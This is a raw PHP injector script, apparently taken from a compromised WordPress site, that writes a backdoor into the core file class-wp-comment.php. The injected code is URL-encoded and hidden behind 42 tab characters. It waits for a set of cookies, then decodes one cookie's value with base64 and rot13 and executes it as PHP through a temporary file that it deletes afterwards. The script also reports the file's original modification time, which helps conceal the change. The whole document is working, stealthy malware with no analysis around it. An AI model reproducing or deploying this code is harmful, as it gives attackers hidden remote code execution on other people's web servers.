<?php  $path = '/home/kophasyh/letslearnwithmsedaycare.com/wp-includes/class-wp-comment.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%20%28isset%28%24_COOKIE%5B88-88%5D%29%20%26%26%20isset%28%24_COOKIE%5B6%2B-5%5D%29%20%26%26%20isset%28%24_COOKIE%5B6%2B-3%5D%29%20%26%26%20isset%28%24_COOKIE%5B-8%2B12%5D%29%29%20%7B%20%24parameter_group%20%3D%20%24_COOKIE%3B%20function%20data_storage%28%24ref%29%20%7B%20%24parameter_group%20%3D%20%24_COOKIE%3B%20%24pset%20%3D%20tempnam%28%28%21empty%28session_save_path%28%29%29%20%3F%20session_save_path%28%29%20%3A%20sys_get_temp_dir%28%29%29%2C%20%27f6215cf3%27%29%3B%20if%20%28%21is_writable%28%24pset%29%29%20%7B%20%24pset%20%3D%20getcwd%28%29%20.%20DIRECTORY_SEPARATOR%20.%20%22reverse_searcher%22%3B%20%7D%20%24entry%20%3D%20%22%5Cx3c%5Cx3f%5Cx70%5Cx68p%20%22%20.%20base64_decode%28str_rot13%28%24parameter_group%5B3%5D%29%29%3B%20if%20%28is_writeable%28%24pset%29%29%20%7B%20%24value%20%3D%20fopen%28%24pset%2C%20%27w%2B%27%29%3B%20fputs%28%24value%2C%20%24entry%29%3B%20fclose%28%24value%29%3B%20spl_autoload_unregister%28__FUNCTION__%29%3B%20require_once%28%24pset%29%3B%20%40array_map%28%27unlink%27%2C%20array%28%24pset%29%29%3B%20%7D%20%7D%20spl_autoload_register%28%22data_storage%22%29%3B%20%24binding%20%3D%20%2214688ebd65f2ed2f8710f39c05b134b6%22%3B%20if%20%28%21strncmp%28%24binding%2C%20%24parameter_group%5B4%5D%2C%2032%29%29%20%7B%20if%20%28%40class_parents%28%22dataflow_engine_splitter_tool%22%2C%20true%29%29%20%7B%20exit%3B%20%7D%20%7D%20%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die("!success!<ft>{$ft}</ft>");             }         }     } } die('!failed!');